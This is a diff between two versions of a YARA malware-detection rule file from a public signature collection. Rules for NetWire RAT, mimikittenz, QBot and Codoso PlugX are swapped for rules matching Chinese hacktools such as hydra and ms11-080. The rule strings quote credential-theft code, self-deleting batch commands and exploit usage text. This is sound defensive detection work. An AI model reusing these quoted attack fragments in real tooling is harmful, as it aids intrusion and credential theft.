-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikittenz.yar#L10-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f0410a0290d09d3574854b55ffe578f6f799368e14677b581cd65d18700a8656"
-		score = 90
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1953-L1971"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ecf4ba6d1344f2f3114d52859addee8b0770ed0d"
+		logic_hash = "028b589c11eeacb2edfeeaeaebf2da370e540cba964c9ebbb19e4c734afe190f"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "14e2f70470396a18c27debb419a4f4063c2ad5b6976f429d47f55e31066a5e6a"
 
 	strings:
-		$x1 = "[mimikittenz.MemProcInspector]" ascii
-		$s1 = "PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION |" fullword ascii
-		$s2 = "IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);" fullword ascii
-		$s3 = "&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=" ascii
-		$s4 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" fullword ascii
+		$s1 = "c:\\windows\\system32\\command.com /c " fullword ascii
+		$s2 = "Easy Usage Version -- Edited By: racle@tian6.com" fullword ascii
+		$s3 = "OH,Sry.Too long command." fullword ascii
+		$s4 = "Success! Commander." fullword ascii
+		$s5 = "Hey,how can racle work without ur command ?" fullword ascii
+		$s6 = "The exploit thread was unable to map the virtual 8086 address space" fullword ascii
 
 	condition:
-		( uint16(0)==0x7566 and filesize <60KB and 2 of them ) or $x1
+		uint16(0)==0x5a4d and filesize <100KB and 3 of them
 }
-rule SIGNATURE_BASE_Susp_Indicators_EXE : FILE
+rule SIGNATURE_BASE_CN_Tools_Vscan : FILE
 {
 	meta:
-		description = "Detects packed NullSoft Inst EXE with characteristics of NetWire RAT"
+		description = "Chinese Hacktool Set - file Vscan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b4015c24-d18e-51eb-9854-8cc0e6dba4d0"
-		date = "2018-01-05"
+		id = "2d73d9c9-62cd-592f-a44e-0a0456c85a3c"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://pastebin.com/8qaiyPxs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_netwire_rat.yar#L11-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9cb66435b78893daa5583475b14f0df2a5e8612f3aaf5cb02160991ab4d57d1b"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1973-L1990"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0365fe05e2de0f327dfaa8cd0d988dbb7b379612"
+		logic_hash = "2bbf0a3fb2b3fc9b646c6f8fc021f65a38e1b64edd74301481051541f8938902"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6de7f0276afa633044c375c5c630740af51e29b6a6f17a64fbdd227c641727a4"
 
 	strings:
-		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion"
-		$s2 = "Error! Bad token or internal error" fullword ascii
-		$s3 = "CRYPTBASE" fullword ascii
-		$s4 = "UXTHEME" fullword ascii
-		$s5 = "PROPSYS" fullword ascii
-		$s6 = "APPHELP" fullword ascii
+		$s1 = "[+] Usage: VNC_bypauth <target> <scantype> <option>" fullword ascii
+		$s2 = "========RealVNC <= 4.1.1 Bypass Authentication Scanner=======" fullword ascii
+		$s3 = "[+] Type VNC_bypauth <target>,<scantype> or <option> for more informations" fullword ascii
+		$s4 = "VNC_bypauth -i 192.168.0.1,192.168.0.2,192.168.0.3,..." fullword ascii
+		$s5 = "-vn:%-15s:%-7d  connection closed" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3c))==0x4550 and filesize <700KB and all of them
+		uint16(0)==0x5a4d and filesize <60KB and 2 of them
 }
-rule SIGNATURE_BASE_Suspicious_BAT_Strings : FILE
+rule SIGNATURE_BASE_Dos_Iis : FILE
 {
 	meta:
-		description = "Detects a string also used in Netwire RAT auxilliary"
+		description = "Chinese Hacktool Set - file iis.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5fe28555-96c8-54da-b047-7d0a7532a6d2"
-		date = "2018-01-05"
+		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://pastebin.com/8qaiyPxs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_netwire_rat.yar#L32-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e643a5ef41d084e1b1a20be2c56328b72fedddbbce3c79d1e93cc8cfaa633e12"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1992-L2011"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "61ffd2cbec5462766c6f1c44bd44eeaed4f3d2c7"
+		logic_hash = "d6852af79eac659f4dfa3019793290e0498739f02a06c5540cd7d2c65b46b960"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "ping 192.0.2.2 -n 1" ascii
+		$s1 = "comspec" fullword ascii
+		$s2 = "program terming" fullword ascii
+		$s3 = "WinSta0\\Defau" fullword ascii
+		$s4 = "* FROM IIsWebInfo" ascii
+		$s5 = "www.icehack." ascii
+		$s6 = "wmiprvse.exe" fullword ascii
+		$s7 = "Pid: %d" ascii
 
 	condition:
-		filesize <600KB and 1 of them
+		uint16(0)==0x5a4d and filesize <70KB and all of them
 }
-rule SIGNATURE_BASE_Malicious_BAT_Strings : FILE
+rule SIGNATURE_BASE_Iisputscannesr : FILE
 {
 	meta:
-		description = "Detects a string also used in Netwire RAT auxilliary"
+		description = "Chinese Hacktool Set - file IISPutScannesr.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6e197d05-62eb-535d-8cd6-db8550e51588"
-		date = "2018-01-05"
+		id = "c5d358e8-955f-5b96-89e7-eb0b6c4d0af0"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://pastebin.com/8qaiyPxs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_netwire_rat.yar#L47-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f39b3fd11e7450eb1eaddeeca60aa4970568efda6053029f85df42e2f9fdd6e"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2013-L2027"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2dd8fee20df47fd4eed5a354817ce837752f6ae9"
+		logic_hash = "27c190050aabcdff3713b388adb0113ad2334c107a2a7b3d682c209b102cf642"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "call :deleteSelf&exit /b"
+		$s1 = "yoda & M.o.D." ascii
+		$s2 = "-> come.to/f2f **************" fullword ascii
 
 	condition:
-		filesize <600KB and 1 of them
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Qbot_HTML_Smuggling_Indicators_Oct22_1 : FILE
+rule SIGNATURE_BASE_HKTL_Unknown_CN_Generate : FILE
 {
 	meta:
-		description = "Detects double encoded PKZIP headers as seen in HTML files used by QBot"
+		description = "Chinese Hacktool Set - file Generate.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8034d6af-4dae-5ff6-b635-efb5175fe4d1"
-		date = "2022-10-07"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/ankit_anubhav/status/1578257383133876225?s=20&t=Bu3CCJCzImpTGOQX_KGsdA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_qbot_payloads.yar#L2-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a5bd9eb72205f1398ec0b8773751309699b3267e0272dacf2728f8495c0c0ec2"
+		id = "88ad2c71-519f-58b0-87f8-a6f54a54a774"
+		date = "2015-06-13"
+		modified = "2022-01-20"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2029-L2047"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+		logic_hash = "a83000880bd71f4ee6507cb448b611cb670a47a4dc47c400930d3a41ca594a5d"
 		score = 75
 		quality = 83
 		tags = "FILE"
-		hash1 = "4f384bcba31fda53e504d0a6c85cee0ce3ea9586226633d063f34c53ddeaca3f"
-		hash2 = "8e61c2b751682becb4c0337f5a79b2da0f5f19c128b162ec8058104b894cae9b"
-		hash3 = "c5d23d991ce3fbcf73b177bc6136d26a501ded318ccf409ca16f7c664727755a"
-		hash4 = "5072d91ee0d162c28452123a4d9986f3df6b3244e48bf87444ce88add29dd8ed"
-		hash5 = "ff4e21f788c36aabe6ba870cf3b10e258c2ba6f28a2d359a25d5a684c92a0cad"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sd1 = "VUVzREJCUUFBUUFJQ"
-		$sd2 = "VFc0RCQlFBQVFBSU"
-		$sd3 = "VRXNEQkJRQUFRQUlB"
-		$sdr1 = "QJFUUBFUUCJERzVUV"
-		$sdr2 = "USBFVQBFlQCR0cFV"
-		$sdr3 = "BlUQRFUQRJkQENXRV"
-		$st1 = "VlVWelJFSkNVVUZCVVVGSl"
-		$st2 = "ZVVnpSRUpDVVVGQlVVRkpR"
-		$st3 = "WVVZ6UkVKQ1VVRkJVVUZKU"
-		$st4 = "VkZjMFJDUWxGQlFWRkJTV"
-		$st5 = "ZGYzBSQ1FsRkJRVkZCU1"
-		$st6 = "WRmMwUkNRbEZCUVZGQlNV"
-		$st7 = "VlJYTkVRa0pSUVVGUlFVbE"
-		$st8 = "ZSWE5FUWtKUlFVRlJRVWxC"
-		$st9 = "WUlhORVFrSlJRVUZSUVVsQ"
-		$str1 = "UUpGVVVCRlVVQ0pFUnpWVV"
-		$str2 = "FKRlVVQkZVVUNKRVJ6VlVW"
-		$str3 = "RSkZVVUJGVVVDSkVSelZVV"
-		$str4 = "VVNCRlZRQkZsUUNSMGNGV"
-		$str5 = "VTQkZWUUJGbFFDUjBjRl"
-		$str6 = "VU0JGVlFCRmxRQ1IwY0ZW"
-		$str7 = "QmxVUVJGVVFSSmtRRU5YUl"
-		$str8 = "JsVVFSRlVRUkprUUVOWFJW"
-		$str9 = "CbFVRUkZVUVJKa1FFTlhSV"
-		$htm = "<html" ascii
-		$eml = "Content-Transfer-Encoding:" ascii
+		$s1 = "C:\\TEMP\\" ascii
+		$s2 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s3 = "$530 Please login with USER and PASS." fullword ascii
+		$s4 = "_Shell.exe" fullword ascii
+		$s5 = "ftpcWaitingPassword" fullword ascii
 
 	condition:
-		filesize <10MB and ((1 of ($sd*) and $htm and not $eml) or (1 of ($st*) and $eml))
+		uint16(0)==0x5a4d and filesize <2000KB and 3 of them
 }
-rule SIGNATURE_BASE_Codoso_Plugx_3 : FILE
+rule SIGNATURE_BASE_Pc_Rejoice : FILE
 {
 	meta:
-		description = "Detects Codoso APT PlugX Malware"
+		description = "Chinese Hacktool Set - file rejoice.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "55066812-3a8e-5099-afb4-ff7a59f1ccb2"
-		date = "2016-01-30"
+		id = "197b5a21-e1ed-5ea8-b7f2-e84684aedc54"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L11-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "74e1e83ac69e45a3bee78ac2fac00f9e897f281ea75ed179737e9b6fe39971e3"
-		logic_hash = "51615c2583bb672f148f216e4856e7e346b17884f0740d69f6a24f08b594bda4"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2049-L2067"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+		logic_hash = "9e22a98b5065a95a7f169fda8d6d4112101bffa11a1407e03ec152db41857206"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
-		$s2 = "mcs.exe" fullword ascii
-		$s3 = "McAltLib.dll" fullword ascii
-		$s4 = "WinRAR self-extracting archive" fullword wide
+		$s1 = "@members.3322.net/dyndns/update?system=dyndns&hostname=" fullword ascii
+		$s2 = "http://www.xxx.com/xxx.exe" fullword ascii
+		$s3 = "@ddns.oray.com/ph/update?hostname=" fullword ascii
+		$s4 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s5 = "ListViewProcessListColumnClick!" fullword ascii
+		$s6 = "http://iframe.ip138.com/ic.asp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1200KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and 3 of them
 }
-rule SIGNATURE_BASE_Codoso_Plugx_2 : FILE
+rule SIGNATURE_BASE_Ms11080_Withcmd : FILE
 {
 	meta:
-		description = "Detects Codoso APT PlugX Malware"
+		description = "Chinese Hacktool Set - file ms11080_withcmd.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0402a0ff-5664-52db-a739-51c5181853f8"
-		date = "2016-01-30"
-		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L28-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b9510e4484fa7e3034228337768176fce822162ad819539c6ca3631deac043eb"
-		logic_hash = "5ee652a135d4865340d2ce6421144ec76ccc7ab69704e92904b2e2ebfc72edfc"
+		id = "fa5002ac-d6e6-543f-8020-43dfae689b3b"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2069-L2087"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+		logic_hash = "cd7167269538a5dd197260682ad777f87e43cc2155acf3ce731d1a065395cf4a"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%TEMP%\\HID" fullword wide
-		$s2 = "%s\\hid.dll" fullword wide
-		$s3 = "%s\\SOUNDMAN.exe" fullword wide
-		$s4 = "\"%s\\SOUNDMAN.exe\" %d %d" fullword wide
-		$s5 = "%s\\HID.dllx" fullword wide
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
+		$s2 = "\\ms11080\\ms11080\\Debug\\ms11080.pdb" ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[>] create porcess error" fullword ascii
+		$s5 = "[>] ms11-080 Exploit" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 3 of them ) or all of them
+		uint16(0)==0x5a4d and filesize <300KB and 1 of them
 }
-rule SIGNATURE_BASE_Codoso_Customtcp_4 : FILE
+rule SIGNATURE_BASE_Othertools_Xiaoa : FILE
 {
 	meta:
-		description = "Detects Codoso APT CustomTCP Malware"
+		description = "Chinese Hacktool Set - file xiaoa.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
-		date = "2016-01-30"
+		id = "a456d373-2063-5264-8cf4-d0a5918392fc"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L46-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fcabbd37acf75e1233894682e77abad95a849ed68c7e8ce2690dde03d8160f8b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2089-L2107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6988acb738e78d582e3614f83993628cf92ae26d"
+		logic_hash = "451ed602bd1e9dd7e4020108ea133b60c546965bd77be349d07be42150f80fee"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ea67d76e9d2e9ce3a8e5f80ff9be8f17b2cd5b1212153fdf36833497d9c060c0"
-		hash2 = "130abb54112dd47284fdb169ff276f61f2b69d80ac0a9eac52200506f147b5f8"
-		hash3 = "3ea6b2b51050fe7c07e2cf9fa232de6a602aa5eff66a2e997b25785f7cf50daa"
-		hash4 = "02cf5c244aebaca6195f45029c1e37b22495609be7bdfcfcd79b0c91eac44a13"
 
 	strings:
-		$x1 = "varus_service_x86.dll" fullword ascii
-		$s1 = "/s %s /p %d /st %d /rt %d" fullword ascii
-		$s2 = "net start %%1" fullword ascii
-		$s3 = "ping 127.1 > nul" fullword ascii
-		$s4 = "McInitMISPAlertEx" fullword ascii
-		$s5 = "sc start %%1" fullword ascii
-		$s6 = "net stop %%1" fullword ascii
-		$s7 = "WorkerRun" fullword ascii
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
+		$s2 = "The shell \"cmd\" success!" fullword ascii
+		$s3 = "Not Windows NT family OS." fullword ascii
+		$s4 = "Unable to get kernel base address." fullword ascii
+		$s5 = "run \"%s\" failed,code: %d" fullword ascii
+		$s6 = "Windows Kernel Local Privilege Exploit " fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 5 of them ) or ($x1 and 2 of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and 2 of them
 }
-rule SIGNATURE_BASE_Codoso_Customtcp_3 : FILE
+rule SIGNATURE_BASE_Unknown2 : FILE
 {
 	meta:
-		description = "Detects Codoso APT CustomTCP Malware"
+		description = "Chinese Hacktool Set - file unknown2.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
-		date = "2016-01-30"
+		id = "af7ddcbf-1cba-51a9-b435-9a267320f502"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L72-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d66106ec2e743dae1d71b60a602ca713b93077f56a47045f4fc9143aa3957090"
-		logic_hash = "fb486985587fc28c45cbdf6a63550e60e8d6c18f218544adc19c5604193fe8ea"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2109-L2128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "32508d75c3d95e045ddc82cb829281a288bd5aa3"
+		logic_hash = "dea499eaa87cc454a31672fb842539779926d50785ef827162fde84bfcdcc54a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "DnsApi.dll" fullword ascii
-		$s2 = "softWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\%s" ascii
-		$s3 = "CONNECT %s:%d hTTP/1.1" ascii
-		$s4 = "CONNECT %s:%d HTTp/1.1" ascii
-		$s5 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)" ascii
-		$s6 = "iphlpapi.dll" ascii
-		$s7 = "%systemroot%\\Web\\" ascii
-		$s8 = "Proxy-Authorization: Negotiate %s" ascii
-		$s9 = "CLSID\\{%s}\\InprocServer32" ascii
+		$s1 = "http://md5.com.cn/index.php/md5reverse/index/md/" wide
+		$s2 = "http://www.md5decrypter.co.uk/feed/api.aspx?" wide
+		$s3 = "http://www.md5.com.cn" fullword wide
+		$s4 = "1.5.exe" fullword wide
+		$s5 = "\\Set.ini" wide
+		$s6 = "OpenFileDialog1" fullword wide
+		$s7 = " (*.txt)|*.txt" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 5 of them ) or 7 of them
+		uint16(0)==0x5a4d and filesize <300KB and 4 of them
 }
-rule SIGNATURE_BASE_Codoso_Customtcp_2 : FILE
+rule SIGNATURE_BASE_Hydra_7_3_Hydra : FILE
 {
 	meta:
-		description = "Detects Codoso APT CustomTCP Malware"
+		description = "Chinese Hacktool Set - file hydra.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
-		date = "2016-01-30"
+		id = "70e9a5bf-ce2d-58ab-8bdc-257e2aa5e917"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L94-L114"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3577845d71ae995762d4a8f43b21ada49d809f95c127b770aff00ae0b64264a3"
-		logic_hash = "a355ac60dca5ca880a90a5c2720690b4691630fd434411758fa7ff006f7389ba"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2130-L2147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2f82b8bf1159e43427880d70bcd116dc9e8026ad"
+		logic_hash = "23194c2df0b8bdedc4fc66c423b0aebb10217de328a194b26560d4cc9a5531e3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "varus_service_x86.dll" fullword ascii
-		$s2 = "/s %s /p %d /st %d /rt %d" fullword ascii
-		$s3 = "net start %%1" fullword ascii
-		$s4 = "ping 127.1 > nul" fullword ascii
-		$s5 = "McInitMISPAlertEx" fullword ascii
-		$s6 = "sc start %%1" fullword ascii
-		$s7 = "B_WKNDNSK^" fullword ascii
-		$s8 = "net stop %%1" fullword ascii
+		$s1 = "[ATTEMPT-ERROR] target %s - login \"%s\" - pass \"%s\" - child %d - %lu of %lu" fullword ascii
+		$s2 = "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=))(COMMAND=reload)(PASSWORD=%s)(SERVICE" ascii
+		$s3 = "cn=^USER^,cn=users,dc=foo,dc=bar,dc=com for domain foo.bar.com" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s5 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <406KB and all of them
+		uint16(0)==0x5a4d and filesize <700KB and 1 of them
 }
-rule SIGNATURE_BASE_Codoso_PGV_PVID_6 : FILE
+rule SIGNATURE_BASE_Oraclescan : FILE
 {
 	meta:
-		description = "Detects Codoso APT PGV_PVID Malware"
+		description = "Chinese Hacktool Set - file OracleScan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d1d8490-fdcb-5263-ae00-0b436e822fc3"
-		date = "2016-01-30"
+		id = "142c0ed1-0752-54c3-9a4b-68e656c32939"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L115-L129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4b16f6e8414d4192d0286b273b254fa1bd633f5d3d07ceebd03dfdfc32d0f17f"
-		logic_hash = "0907274bd6c97b7d7b2913e42aa748c92012aeeb32196ddcbcd30332f4e95ac9"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2149-L2165"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "10ff7faf72fe6da8f05526367b3522a2408999ec"
+		logic_hash = "b9454f47123c32d6c6b51722aeadac9acc2a6232c259703c36ea00c83d8977e6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "rundll32 \"%s\",%s" fullword ascii
-		$s1 = "/c ping 127.%d & del \"%s\"" fullword ascii
+		$s1 = "MYBLOG:HTTP://HI.BAIDU.COM/0X24Q" fullword ascii
+		$s2 = "\\Borland\\Delphi\\RTL" ascii
+		$s3 = "USER_NAME" ascii
+		$s4 = "FROMWWHERE" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <6000KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_Gh0St_3 : FILE
+rule SIGNATURE_BASE_Sqltools : FILE
 {
 	meta:
-		description = "Detects Codoso APT Gh0st Malware"
+		description = "Chinese Hacktool Set - file SQLTools.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "55fb17c5-ee11-55be-9af3-e9fe8d6160b5"
-		date = "2016-01-30"
+		id = "bddb7956-abc1-58b6-8a6d-eb482be99f42"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
